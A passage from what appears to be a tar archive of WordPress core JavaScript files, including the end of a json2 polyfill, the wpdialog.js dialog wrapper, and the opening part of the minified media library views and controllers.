rx_one=/^[\],:{}\s]*$/,rx_two=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,rx_three=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,rx_four=/(?:^|:|,)(?:\s*\[)+/g,rx_escapable=/[\\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,rx_dangerous=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta,rep;function f(t){return t<10?"0"+t:t}function this_value(){return this.valueOf()}function quote(t){return rx_escapable.lastIndex=0,rx_escapable.test(t)?'"'+t.replace(rx_escapable,function(t){var e=meta[t];return"string"==typeof e?e:"\\u"+("0000"+t.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+t+'"'}function str(t,e){var r,n,o,u,f,a=gap,i=e[t];switch(i&&"object"==typeof i&&"function"==typeof i.toJSON&&(i=i.toJSON(t)),typeof(i="function"==typeof rep?rep.call(e,t,i):i)){case"string":return quote(i);case"number":return isFinite(i)?String(i):"null";case"boolean":case"null":return String(i);case"object":if(!i)return"null";if(gap+=indent,f=[],"[object Array]"===Object.prototype.toString.apply(i)){for(u=i.length,r=0;r<u;r+=1)f[r]=str(r,i)||"null";return o=0===f.length?"[]":gap?"[\n"+gap+f.join(",\n"+gap)+"\n"+a+"]":"["+f.join(",")+"]",gap=a,o}if(rep&&"object"==typeof rep)for(u=rep.length,r=0;r<u;r+=1)"string"==typeof rep[r]&&(o=str(n=rep[r],i))&&f.push(quote(n)+(gap?": ":":")+o);else for(n in i)Object.prototype.hasOwnProperty.call(i,n)&&(o=str(n,i))&&f.push(quote(n)+(gap?": ":":")+o);return o=0===f.length?"{}":gap?"{\n"+gap+f.join(",\n"+gap)+"\n"+a+"}":"{"+f.join(",")+"}",gap=a,o}}"function"!=typeof Date.prototype.toJSON&&(Date.prototype.toJSON=function(){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null},Boolean.prototype.toJSON=this_value,Number.prototype.toJSON=this_value,String.prototype.toJSON=this_value),"function"!=typeof JSON.stringify&&(meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},JSON.stringify=function(t,e,r){var n;if(indent=gap="","number"==typeof r)for(n=0;n<r;n+=1)indent+=" ";else"string"==typeof r&&(indent=r);if(!(rep=e)||"function"==typeof e||"object"==typeof e&&"number"==typeof e.length)return str("",{"":t});throw new Error("JSON.stringify")}),"function"!=typeof JSON.parse&&(JSON.parse=function(text,reviver){var j;function walk(t,e){var r,n,o=t[e];if(o&&"object"==typeof o)for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(void 0!==(n=walk(o,r))?o[r]=n:delete o[r]);return reviver.call(t,e,o)}if(text=String(text),rx_dangerous.lastIndex=0,rx_dangerous.test(text)&&(text=text.replace(rx_dangerous,function(t){return"\\u"+("0000"+t.charCodeAt(0).toString(16)).slice(-4)})),rx_one.test(text.replace(rx_two,"@").replace(rx_three,"]").replace(rx_four,"")))return j=eval("("+text+")"),"function"==typeof reviver?walk({"":j},""):j;throw new SyntaxError("JSON.parse")})}();�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/wpdialog.js��������������������������������������������������������������������������������������0000644�����������������00000001060�14717703502�0007327 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * @output wp-includes/js/wpdialog.js */ /* * Wrap the jQuery UI Dialog open function remove focus from tinyMCE. */ ( function($) { $.widget('wp.wpdialog', $.ui.dialog, { open: function() { // Add beforeOpen event. if ( this.isOpen() || false === this._trigger('beforeOpen') ) { return; } // Open the dialog. this._super(); // WebKit leaves focus in the TinyMCE editor unless we shift focus. this.element.focus(); this._trigger('refresh'); } }); $.wp.wpdialog.prototype.options.closeOnEscape = false; })(jQuery); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/media-views.min.js�������������������������������������������������������������������������������0000644�����������������00000327352�14717703502�0010534 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(){var i={1517:function(t){var s=wp.media.model.Selection,o=wp.media.controller.Library,e=o.extend({defaults:_.defaults({multiple:"add",filterable:"uploaded",priority:100,syncSelection:!1},o.prototype.defaults),initialize:function(){var t=this.get("collectionType");"video"===this.get("type")&&(t="video-"+t),this.set("id",t+"-library"),this.set("toolbar",t+"-add"),this.set("menu",t),this.get("library")||this.set("library",wp.media.query({type:this.get("type")})),o.prototype.initialize.apply(this,arguments)},activate:function(){var t=this.get("library"),e=this.get("editLibrary"),i=this.frame.state(this.get("collectionType")+"-edit").get("library");e&&e!==i&&t.unobserve(e),t.validator=function(t){return!!this.mirroring.get(t.cid)&&!i.get(t.cid)&&s.prototype.validator.apply(this,arguments)},t.reset(t.mirroring.models,{silent:!0}),t.observe(i),this.set("editLibrary",i),o.prototype.activate.apply(this,arguments)}});t.exports=e},1817:function(t){var e=wp.media.controller.Library,a=wp.media.view.l10n,r=jQuery,i=e.extend({defaults:{multiple:!1,sortable:!0,date:!1,searchable:!1,content:"browse",describe:!0,dragInfo:!0,idealColumnWidth:170,editing:!1,priority:60,SettingsView:!1,syncSelection:!1},initialize:function(){var t=this.get("collectionType");"video"===this.get("type")&&(t="video-"+t),this.set("id",t+"-edit"),this.set("toolbar",t+"-edit"),this.get("library")||this.set("library",new wp.media.model.Selection),this.get("AttachmentView")||this.set("AttachmentView",wp.media.view.Attachment.EditLibrary),e.prototype.initialize.apply(this,arguments)},activate:function(){this.get("library").props.set("type",this.get("type")),this.get("library").observe(wp.Uploader.queue),this.frame.on("content:render:browse",this.renderSettings,this),e.prototype.activate.apply(this,arguments)},deactivate:function(){this.get("library").unobserve(wp.Uploader.queue),this.frame.off("content:render:browse",this.renderSettings,this),e.prototype.deactivate.apply(this,arguments)},renderSettings:function(t){var e=this.get("library"),i=this.get("collectionType"),s=this.get("dragInfoText"),o=this.get("SettingsView"),n={};e&&t&&(e[i]=e[i]||new Backbone.Model,n[i]=new o({controller:this,model:e[i],priority:40}),t.sidebar.set(n),s&&t.toolbar.set("dragInfo",new wp.media.View({el:r('<div class="instructions">'+s+"</div>")[0],priority:-40})),t.toolbar.set("reverse",{text:a.reverseOrder,priority:80,click:function(){e.reset(e.toArray().reverse())}}))}});t.exports=i},2288:function(t){var i=wp.media.view.l10n,e=wp.media.controller.State.extend({defaults:{id:"cropper",title:i.cropImage,toolbar:"crop",content:"crop",router:!1,canSkipCrop:!1,doCropArgs:{}},activate:function(){this.frame.on("content:create:crop",this.createCropContent,this),this.frame.on("close",this.removeCropper,this),this.set("selection",new Backbone.Collection(this.frame._selection.single))},deactivate:function(){this.frame.toolbar.mode("browse")},createCropContent:function(){this.cropperView=new wp.media.view.Cropper({controller:this,attachment:this.get("selection").first()}),this.cropperView.on("image-loaded",this.createCropToolbar,this),this.frame.content.set(this.cropperView)},removeCropper:function(){this.imgSelect.cancelSelection(),this.imgSelect.setOptions({remove:!0}),this.imgSelect.update(),this.cropperView.remove()},createCropToolbar:function(){var t=this.get("canSkipCrop")||!1,e={controller:this.frame,items:{insert:{style:"primary",text:i.cropImage,priority:80,requires:{library:!1,selection:!1},click:function(){var e=this.controller,t=e.state().get("selection").first();t.set({cropDetails:e.state().imgSelect.getSelection()}),this.$el.text(i.cropping),this.$el.attr("disabled",!0),e.state().doCrop(t).done(function(t){e.trigger("cropped",t),e.close()}).fail(function(){e.trigger("content:error:crop")})}}}};t&&_.extend(e.items,{skip:{style:"secondary",text:i.skipCropping,priority:70,requires:{library:!1,selection:!1},click:function(){var t=this.controller.state().get("selection").first();this.controller.state().cropperView.remove(),this.controller.trigger("skippedcrop",t),this.controller.close()}}}),this.frame.toolbar.set(new wp.media.view.Toolbar(e))},doCrop:function(t){return wp.ajax.post("custom-header-crop",_.extend({},this.defaults.doCropArgs,{nonce:t.get("nonces").edit,id:t.get("id"),cropDetails:t.get("cropDetails")}))}});t.exports=e},6934:function(t){var e=wp.media.controller.Cropper.extend({doCrop:function(t){var e=t.get("cropDetails"),i=this.get("control"),s=e.width/e.height;return i.params.flex_width&&i.params.flex_height?(e.dst_width=e.width,e.dst_height=e.height):(e.dst_width=i.params.flex_width?i.params.height*s:i.params.width,e.dst_height=i.params.flex_height?i.params.width/s:i.params.height),wp.ajax.post("crop-image",{wp_customize:"on",nonce:t.get("nonces").edit,id:t.get("id"),context:i.id,cropDetails:e})}});t.exports=e},7658:function(t){var s=wp.media.view.l10n,e=wp.media.controller.State.extend({defaults:{id:"edit-image",title:s.editImage,menu:!1,toolbar:"edit-image",content:"edit-image",url:""},activate:function(){this.frame.on("toolbar:render:edit-image",_.bind(this.toolbar,this))},deactivate:function(){this.frame.off("toolbar:render:edit-image")},toolbar:function(){var t=this.frame,e=t.lastState(),i=e&&e.id;t.toolbar.set(new wp.media.view.Toolbar({controller:t,items:{back:{style:"primary",text:s.back,priority:20,click:function(){i?t.setState(i):t.close()}}}}))}});t.exports=e},9067:function(t){var e=wp.media.view.l10n,a=Backbone.$,e=wp.media.controller.State.extend({defaults:{id:"embed",title:e.insertFromUrlTitle,content:"embed",menu:"default",toolbar:"main-embed",priority:120,type:"link",url:"",metadata:{}},sensitivity:400,initialize:function(t){this.metadata=t.metadata,this.debouncedScan=_.debounce(_.bind(this.scan,this),this.sensitivity),this.props=new Backbone.Model(this.metadata||{url:""}),this.props.on("change:url",this.debouncedScan,this),this.props.on("change:url",this.refresh,this),this.on("scan",this.scanImage,this)},scan:function(){var t,e=this,i={type:"link",scanners:[]};this.props.get("url")&&this.trigger("scan",i),i.scanners.length?(t=i.scanners=a.when.apply(a,i.scanners)).always(function(){e.get("scanners")===t&&e.set("loading",!1)}):i.scanners=null,i.loading=!!i.scanners,this.set(i)},scanImage:function(t){var e=this.frame,i=this,s=this.props.get("url"),o=new Image,n=a.Deferred();t.scanners.push(n.promise()),o.onload=function(){n.resolve(),i===e.state()&&s===i.props.get("url")&&(i.set({type:"image"}),i.props.set({width:o.width,height:o.height}))},o.onerror=n.reject,o.src=s},refresh:function(){this.frame.toolbar.get().refresh()},reset:function(){this.props.clear().set({url:""}),this.active&&this.refresh()}});t.exports=e},5095:function(t){var s=wp.media.model.Attachment,e=wp.media.controller.Library,i=wp.media.view.l10n,i=e.extend({defaults:_.defaults({id:"featured-image",title:i.setFeaturedImageTitle,multiple:!1,filterable:"uploaded",toolbar:"featured-image",priority:60,syncSelection:!0},e.prototype.defaults),initialize:function(){var t,o;this.get("library")||this.set("library",wp.media.query({type:"image"})),e.prototype.initialize.apply(this,arguments),t=this.get("library"),o=t.comparator,t.comparator=function(t,e){var i=!!this.mirroring.get(t.cid),s=!!this.mirroring.get(e.cid);return!i&&s?-1:i&&!s?1:o.apply(this,arguments)},t.observe(this.get("selection"))},activate:function(){this.frame.on("open",this.updateSelection,this),e.prototype.activate.apply(this,arguments)},deactivate:function(){this.frame.off("open",this.updateSelection,this),e.prototype.deactivate.apply(this,arguments)},updateSelection:function(){var t,e=this.get("selection"),i=wp.media.view.settings.post.featuredImageId;""!==i&&-1!==i&&(t=s.get(i)).fetch(),e.reset(t?[t]:[])}});t.exports=i},7323:function(t){var i=wp.media.model.Selection,s=wp.media.controller.Library,e=wp.media.view.l10n,e=s.extend({defaults:_.defaults({id:"gallery-library",title:e.addToGalleryTitle,multiple:"add",filterable:"uploaded",menu:"gallery",toolbar:"gallery-add",priority:100,syncSelection:!1},s.prototype.defaults),initialize:function(){this.get("library")||this.set("library",wp.media.query({type:"image"})),s.prototype.initialize.apply(this,arguments)},activate:function(){var t=this.get("library"),e=this.frame.state("gallery-edit").get("library");this.editLibrary&&this.editLibrary!==e&&t.unobserve(this.editLibrary),t.validator=function(t){return!!this.mirroring.get(t.cid)&&!e.get(t.cid)&&i.prototype.validator.apply(this,arguments)},t.reset(t.mirroring.models,{silent:!0}),t.observe(e),this.editLibrary=e,s.prototype.activate.apply(this,arguments)}});t.exports=e},6328:function(t){var e=wp.media.controller.Library,i=wp.media.view.l10n,s=e.extend({defaults:{id:"gallery-edit",title:i.editGalleryTitle,multiple:!1,searchable:!1,sortable:!0,date:!1,display:!1,content:"browse",toolbar:"gallery-edit",describe:!0,displaySettings:!0,dragInfo:!0,idealColumnWidth:170,editing:!1,priority:60,syncSelection:!1},initialize:function(){this.get("library")||this.set("library",new wp.media.model.Selection),this.get("AttachmentView")||this.set("AttachmentView",wp.media.view.Attachment.EditLibrary),e.prototype.initialize.apply(this,arguments)},activate:function(){this.get("library").props.set("type","image"),this.get("library").observe(wp.Uploader.queue),this.frame.on("content:render:browse",this.gallerySettings,this),e.prototype.activate.apply(this,arguments)},deactivate:function(){this.get("library").unobserve(wp.Uploader.queue),this.frame.off("content:render:browse",this.gallerySettings,this),e.prototype.deactivate.apply(this,arguments)},gallerySettings:function(t){var e;!this.get("displaySettings")||(e=this.get("library"))&&t&&(e.gallery=e.gallery||new Backbone.Model,t.sidebar.set({gallery:new wp.media.view.Settings.Gallery({controller:this,model:e.gallery,priority:40})}),t.toolbar.set("reverse",{text:i.reverseOrder,priority:80,click:function(){e.reset(e.toArray().reverse())}}))}});t.exports=s},3849:function(t){var e=wp.media.controller.State,i=wp.media.controller.Library,s=wp.media.view.l10n,s=e.extend({defaults:_.defaults({id:"image-details",title:s.imageDetailsTitle,content:"image-details",menu:!1,router:!1,toolbar:"image-details",editing:!1,priority:60},i.prototype.defaults),initialize:function(t){this.image=t.image,e.prototype.initialize.apply(this,arguments)},activate:function(){this.frame.modal.$el.addClass("image-details")}});t.exports=s},9024:function(t){var e=wp.media.view.l10n,i=window.getUserSetting,s=window.setUserSetting,e=wp.media.controller.State.extend({defaults:{id:"library",title:e.mediaLibraryTitle,multiple:!1,content:"upload",menu:"default",router:"browse",toolbar:"select",searchable:!0,filterable:!1,sortable:!0,autoSelect:!0,describe:!1,contentUserSetting:!0,syncSelection:!0},initialize:function(){var t=this.get("selection");this.get("library")||this.set("library",wp.media.query()),t instanceof wp.media.model.Selection||((t=t)||(t=this.get("library").props.toJSON(),t=_.omit(t,"orderby","query")),this.set("selection",new wp.media.model.Selection(null,{multiple:this.get("multiple"),props:t}))),this.resetDisplays()},activate:function(){this.syncSelection(),wp.Uploader.queue.on("add",this.uploading,this),this.get("selection").on("add remove reset",this.refreshContent,this),this.get("router")&&this.get("contentUserSetting")&&(this.frame.on("content:activate",this.saveContentMode,this),this.set("content",i("libraryContent",this.get("content"))))},deactivate:function(){this.recordSelection(),this.frame.off("content:activate",this.saveContentMode,this),this.get("selection").off(null,null,this),wp.Uploader.queue.off(null,null,this)},reset:function(){this.get("selection").reset(),this.resetDisplays(),this.refreshContent()},resetDisplays:function(){var t=wp.media.view.settings.defaultProps;this._displays=[],this._defaultDisplaySettings={align:i("align",t.align)||"none",size:i("imgsize",t.size)||"medium",link:i("urlbutton",t.link)||"none"}},display:function(t){var e=this._displays;return e[t.cid]||(e[t.cid]=new Backbone.Model(this.defaultDisplaySettings(t))),e[t.cid]},defaultDisplaySettings:function(t){var e=_.clone(this._defaultDisplaySettings);return e.canEmbed=this.canEmbed(t),e.canEmbed?e.link="embed":this.isImageAttachment(t)||"none"!==e.link||(e.link="file"),e},isImageAttachment:function(t){return t.get("uploading")?/\.(jpe?g|png|gif|webp)$/i.test(t.get("filename")):"image"===t.get("type")},canEmbed:function(t){if(!t.get("uploading")){var e=t.get("type");if("audio"!==e&&"video"!==e)return!1}return _.contains(wp.media.view.settings.embedExts,t.get("filename").split(".").pop())},refreshContent:function(){var t=this.get("selection"),e=this.frame,i=e.router.get(),e=e.content.mode();this.active&&!t.length&&i&&!i.get(e)&&this.frame.content.render(this.get("content"))},uploading:function(t){"upload"===this.frame.content.mode()&&this.frame.content.mode("browse"),this.get("autoSelect")&&(this.get("selection").add(t),this.frame.trigger("library:selection:add"))},saveContentMode:function(){var t,e;"browse"===this.get("router")&&(t=this.frame.content.mode(),(e=this.frame.router.get())&&e.get(t)&&s("libraryContent",t))}});_.extend(e.prototype,wp.media.selectionSync),t.exports=e},3742:function(t){var e=wp.media.controller.Library,i=e.extend({defaults:_.defaults({filterable:"uploaded",displaySettings:!1,priority:80,syncSelection:!1},e.prototype.defaults),initialize:function(t){this.media=t.media,this.type=t.type,this.set("library",wp.media.query({type:this.type})),e.prototype.initialize.apply(this,arguments)},activate:function(){wp.media.frame.lastMime&&(this.set("library",wp.media.query({type:wp.media.frame.lastMime})),delete wp.media.frame.lastMime),e.prototype.activate.apply(this,arguments)}});t.exports=i},4903:function(t){function e(t){_.extend(this,_.pick(t||{},"id","view","selector"))}e.extend=Backbone.Model.extend,_.extend(e.prototype,{mode:function(t){return t?(t===this._mode||(this.trigger("deactivate"),this._mode=t,this.render(t),this.trigger("activate")),this):this._mode},render:function(t){if(t&&t!==this._mode)return this.mode(t);var t={view:null};return this.trigger("create",t),this.trigger("render",t=t.view),t&&this.set(t),this},get:function(){return this.view.views.first(this.selector)},set:function(t,e){return e&&(e.add=!1),this.view.views.set(this.selector,t,e)},trigger:function(t){var e,i;if(this._mode)return i=_.toArray(arguments),e=this.id+":"+t,i[0]=e+":"+this._mode,this.view.trigger.apply(this.view,i),i[0]=e,this.view.trigger.apply(this.view,i),this}}),t.exports=e},8493:function(t){var i=wp.media.controller.Library,e=wp.media.view.l10n,e=i.extend({defaults:_.defaults({id:"replace-image",title:e.replaceImageTitle,multiple:!1,filterable:"uploaded",toolbar:"replace",menu:!1,priority:60,syncSelection:!0},i.prototype.defaults),initialize:function(t){var e,o;this.image=t.image,this.get("library")||this.set("library",wp.media.query({type:"image"})),i.prototype.initialize.apply(this,arguments),e=this.get("library"),o=e.comparator,e.comparator=function(t,e){var i=!!this.mirroring.get(t.cid),s=!!this.mirroring.get(e.cid);return!i&&s?-1:i&&!s?1:o.apply(this,arguments)},e.observe(this.get("selection"))},activate:function(){this.frame.on("content:render:browse",this.updateSelection,this),i.prototype.activate.apply(this,arguments)},deactivate:function(){this.frame.off("content:render:browse",this.updateSelection,this),i.prototype.deactivate.apply(this,arguments)},updateSelection:function(){var t=this.get("selection"),e=this.image.attachment;t.reset(e?[e]:[])}});t.exports=e},5274:function(t){var e=wp.media.controller.Cropper.extend({activate:function(){this.frame.on("content:create:crop",this.createCropContent,this),this.frame.on("close",this.removeCropper,this),this.set("selection",new Backbone.Collection(this.frame._selection.single))},createCropContent:function(){this.cropperView=new wp.media.view.SiteIconCropper({controller:this,attachment:this.get("selection").first()}),this.cropperView.on("image-loaded",this.createCropToolbar,this),this.frame.content.set(this.cropperView)},doCrop:function(t){var e=t.get("cropDetails"),i=this.get("control");return e.dst_width=i.params.width,e.dst_height=i.params.height,wp.ajax.post("crop-image",{nonce:t.get("nonces").edit,id:t.get("id"),context:"site-icon",cropDetails:e})}});t.exports=e},5466:function(t){function e(){return{extend:Backbone.Model.extend}}_.extend(e.prototype,Backbone.Events,{state:function(t){return this.states=this.states||new Backbone.Collection,(t=t||this._state)&&!this.states.get(t)&&this.states.add({id:t}),this.states.get(t)},setState:function(t){var e=this.state();return e&&t===e.id||!this.states||!this.states.get(t)||(e&&(e.trigger("deactivate"),this._lastState=e.id),this._state=t,this.state().trigger("activate")),this},lastState:function(){if(this._lastState)return this.state(this._lastState)}}),_.each(["on","off","trigger"],function(t){e.prototype[t]=function(){return this.states=this.states||new Backbone.Collection,this.states[t].apply(this.states,arguments),this}}),t.exports=e},5826:function(t){var i=Backbone.Model.extend({constructor:function(){this.on("activate",this._preActivate,this),this.on("activate",this.activate,this),this.on("activate",this._postActivate,this),this.on("deactivate",this._deactivate,this),this.on("deactivate",this.deactivate,this),this.on("reset",this.reset,this),this.on("ready",this._ready,this),this.on("ready",this.ready,this),Backbone.Model.apply(this,arguments),this.on("change:menu",this._updateMenu,this)},ready:function(){},activate:function(){},deactivate:function(){},reset:function(){},_ready:function(){this._updateMenu()},_preActivate:function(){this.active=!0},_postActivate:function(){this.on("change:menu",this._menu,this),this.on("change:titleMode",this._title,this),this.on("change:content",this._content,this),this.on("change:toolbar",this._toolbar,this),this.frame.on("title:render:default",this._renderTitle,this),this._title(),this._menu(),this._toolbar(),this._content(),this._router()},_deactivate:function(){this.active=!1,this.frame.off("title:render:default",this._renderTitle,this),this.off("change:menu",this._menu,this),this.off("change:titleMode",this._title,this),this.off("change:content",this._content,this),this.off("change:toolbar",this._toolbar,this)},_title:function(){this.frame.title.render(this.get("titleMode")||"default")},_renderTitle:function(t){t.$el.text(this.get("title")||"")},_router:function(){var t=this.frame.router,e=this.get("router");this.frame.$el.toggleClass("hide-router",!e),e&&(this.frame.router.render(e),(e=t.get())&&e.select&&e.select(this.frame.content.mode()))},_menu:function(){var t=this.frame.menu,e=this.get("menu");this.frame.$el.toggleClass("hide-menu",!e),e&&(t.mode(e),(e=t.get())&&e.select&&e.select(this.id))},_updateMenu:function(){var t=this.previous("menu"),e=this.get("menu");t&&this.frame.off("menu:render:"+t,this._renderMenu,this),e&&this.frame.on("menu:render:"+e,this._renderMenu,this)},_renderMenu:function(t){var e=this.get("menuItem"),i=this.get("title"),s=this.get("priority");!e&&i&&(e={text:i},s&&(e.priority=s)),e&&t.set(this.id,e)}});_.each(["toolbar","content"],function(e){i.prototype["_"+e]=function(){var t=this.get(e);t&&this.frame[e].render(t)}}),t.exports=i},3526:function(t){t.exports={syncSelection:function(){var t=this.get("selection"),e=this.frame._selection;this.get("syncSelection")&&e&&t&&(t.multiple&&(t.reset([],{silent:!0}),t.validateAll(e.attachments),e.difference=_.difference(e.attachments.models,t.models)),t.single(e.single))},recordSelection:function(){var t=this.get("selection"),e=this.frame._selection;this.get("syncSelection")&&e&&t&&(t.multiple?(e.attachments.reset(t.toArray().concat(e.difference)),e.difference=[]):e.attachments.add(t.toArray()),e.single=t._single)}}},8093:function(t){var e=wp.media.View,i=e.extend({tagName:"form",className:"compat-item",events:{submit:"preventDefault","change input":"save","change select":"save","change textarea":"save"},initialize:function(){this.listenTo(this.model,"change:compat",this.render)},dispose:function(){return this.$(":focus").length&&this.save(),e.prototype.dispose.apply(this,arguments)},render:function(){var t=this.model.get("compat");if(t&&t.item)return this.views.detach(),this.$el.html(t.item),this.views.render(),this},preventDefault:function(t){t.preventDefault()},save:function(t){var e={};t&&t.preventDefault(),_.each(this.$el.serializeArray(),function(t){e[t.name]=t.value}),this.controller.trigger("attachment:compat:waiting",["waiting"]),this.model.saveCompat(e).always(_.bind(this.postSave,this))},postSave:function(){this.controller.trigger("attachment:compat:ready",["ready"])}});t.exports=i},4906:function(t){var i=jQuery,e=wp.media.View.extend({tagName:"select",className:"attachment-filters",id:"media-attachment-filters",events:{change:"change"},keys:[],initialize:function(){this.createFilters(),_.extend(this.filters,this.options.filters),this.$el.html(_.chain(this.filters).map(function(t,e){return{el:i("<option></option>").val(e).html(t.text)[0],priority:t.priority||50}},this).sortBy("priority").pluck("el").value()),this.listenTo(this.model,"change",this.select),this.select()},createFilters:function(){this.filters={}},change:function(){var t=this.filters[this.el.value];t&&this.model.set(t.props)},select:function(){var t=this.model,i="all",s=t.toJSON();_.find(this.filters,function(t,e){if(_.all(t.props,function(t,e){return t===(_.isUndefined(s[e])?null:s[e])}))return i=e}),this.$el.val(i)}});t.exports=e},2868:function(t){var e=wp.media.view.l10n,i=wp.media.view.AttachmentFilters.extend({createFilters:function(){var i={},t=window.userSettings?parseInt(window.userSettings.uid,10):0;_.each(wp.media.view.settings.mimeTypes||{},function(t,e){i[e]={text:t,props:{status:null,type:e,uploadedTo:null,orderby:"date",order:"DESC",author:null}}}),i.all={text:e.allMediaItems,props:{status:null,type:null,uploadedTo:null,orderby:"date",order:"DESC",author:null},priority:10},wp.media.view.settings.post.id&&(i.uploaded={text:e.uploadedToThisPost,props:{status:null,type:null,uploadedTo:wp.media.view.settings.post.id,orderby:"menuOrder",order:"ASC",author:null},priority:20}),i.unattached={text:e.unattached,props:{status:null,uploadedTo:0,type:null,orderby:"menuOrder",order:"ASC",author:null},priority:50},t&&(i.mine={text:e.mine,props:{status:null,type:null,uploadedTo:null,orderby:"date",order:"DESC",author:t},priority:50}),wp.media.view.settings.mediaTrash&&this.controller.isModeActive("grid")&&(i.trash={text:e.trash,props:{uploadedTo:null,status:"trash",type:null,orderby:"date",order:"DESC",author:null},priority:50}),this.filters=i}});t.exports=i},9663:function(t){var e=wp.media.view.l10n,i=wp.media.view.AttachmentFilters.extend({id:"media-attachment-date-filters",createFilters:function(){var i={};_.each(wp.media.view.settings.months||{},function(t,e){i[e]={text:t.text,props:{year:t.year,monthnum:t.month}}}),i.all={text:e.allDates,props:{monthnum:!1,year:!1},priority:10},this.filters=i}});t.exports=i},7040:function(t){var o=wp.media.view.l10n,e=wp.media.view.AttachmentFilters.extend({createFilters:function(){var t,e=this.model.get("type"),i=wp.media.view.settings.mimeTypes,s=window.userSettings?parseInt(window.userSettings.uid,10):0;i&&e&&(t=i[e]),this.filters={all:{text:t||o.allMediaItems,props:{uploadedTo:null,orderby:"date",order:"DESC",author:null},priority:10},uploaded:{text:o.uploadedToThisPost,props:{uploadedTo:wp.media.view.settings.post.id,orderby:"menuOrder",order:"ASC",author:null},priority:20},unattached:{text:o.unattached,props:{uploadedTo:0,orderby:"menuOrder",order:"ASC",author:null},priority:50}},s&&(this.filters.mine={text:o.mine,props:{orderby:"date",order:"DESC",author:s},priority:50})}});t.exports=e},5019:function(t){var e=wp.media.View,o=jQuery,i=e.extend({tagName:"li",className:"attachment",template:wp.template("attachment"),attributes:function(){return{tabIndex:0,role:"checkbox","aria-label":this.model.get("title"),"aria-checked":!1,"data-id":this.model.get("id")}},events:{click:"toggleSelectionHandler","change [data-setting]":"updateSetting","change [data-setting] input":"updateSetting","change [data-setting] select":"updateSetting","change [data-setting] textarea":"updateSetting","click .attachment-close":"removeFromLibrary","click .check":"checkClickHandler",keydown:"toggleSelectionHandler"},buttons:{},initialize:function(){var t=this.options.selection;_.defaults(this.options,{rerenderOnModelChange:!0}).rerenderOnModelChange?this.listenTo(this.model,"change",this.render):this.listenTo(this.model,"change:percent",this.progress),this.listenTo(this.model,"change:title",this._syncTitle),this.listenTo(this.model,"change:caption",this._syncCaption),this.listenTo(this.model,"change:artist",this._syncArtist),this.listenTo(this.model,"change:album",this._syncAlbum),this.listenTo(this.model,"add",this.select),this.listenTo(this.model,"remove",this.deselect),t&&(t.on("reset",this.updateSelect,this),this.listenTo(this.model,"selection:single selection:unsingle",this.details),this.details(this.model,this.controller.state().get("selection"))),this.listenTo(this.controller.states,"attachment:compat:waiting attachment:compat:ready",this.updateSave)},dispose:function(){var t=this.options.selection;return this.updateAll(),t&&t.off(null,null,this),e.prototype.dispose.apply(this,arguments),this},render:function(){var t=_.defaults(this.model.toJSON(),{orientation:"landscape",uploading:!1,type:"",subtype:"",icon:"",filename:"",caption:"",title:"",dateFormatted:"",width:"",height:"",compat:!1,alt:"",description:""},this.options);return t.buttons=this.buttons,t.describe=this.controller.state().get("describe"),"image"===t.type&&(t.size=this.imageSize()),t.can={},t.nonces&&(t.can.remove=!!t.nonces.delete,t.can.save=!!t.nonces.update),this.controller.state().get("allowLocalEdits")&&(t.allowLocalEdits=!0),t.uploading&&!t.percent&&(t.percent=0),this.views.detach(),this.$el.html(this.template(t)),this.$el.toggleClass("uploading",t.uploading),t.uploading?this.$bar=this.$(".media-progress-bar div"):delete this.$bar,this.updateSelect(),this.updateSave(),this.views.render(),this},progress:function(){this.$bar&&this.$bar.length&&this.$bar.width(this.model.get("percent")+"%")},toggleSelectionHandler:function(t){var e;if("INPUT"!==t.target.nodeName&&"BUTTON"!==t.target.nodeName)if(37===t.keyCode||38===t.keyCode||39===t.keyCode||40===t.keyCode)this.controller.trigger("attachment:keydown:arrow",t);else if("keydown"!==t.type||13===t.keyCode||32===t.keyCode){if(t.preventDefault(),this.controller.isModeActive("grid")){if(this.controller.isModeActive("edit"))return void this.controller.trigger("edit:attachment",this.model,t.currentTarget);this.controller.isModeActive("select")&&(e="toggle")}t.shiftKey?e="between":(t.ctrlKey||t.metaKey)&&(e="toggle"),this.toggleSelection({method:e}),this.controller.trigger("selection:toggle")}},toggleSelection:function(t){var e,i,s,o=this.collection,n=this.options.selection,a=this.model,t=t&&t.method;if(n)return e=n.single(),"between"===(t=_.isUndefined(t)?n.multiple:t)&&e&&n.multiple?e===a?void 0:(o=(i=o.indexOf(e))<(s=o.indexOf(this.model))?o.models.slice(i,s+1):o.models.slice(s,i+1),n.add(o),void n.single(a)):"toggle"===t?(n[this.selected()?"remove":"add"](a),void n.single(a)):"add"===t?(n.add(a),void n.single(a)):("add"!==(t=t||"add")&&(t="reset"),void(this.selected()?n[e===a?"remove":"single"](a):(n[t](a),n.single(a))))},updateSelect:function(){this[this.selected()?"select":"deselect"]()},selected:function(){var t=this.options.selection;if(t)return!!t.get(this.model.cid)},select:function(t,e){var 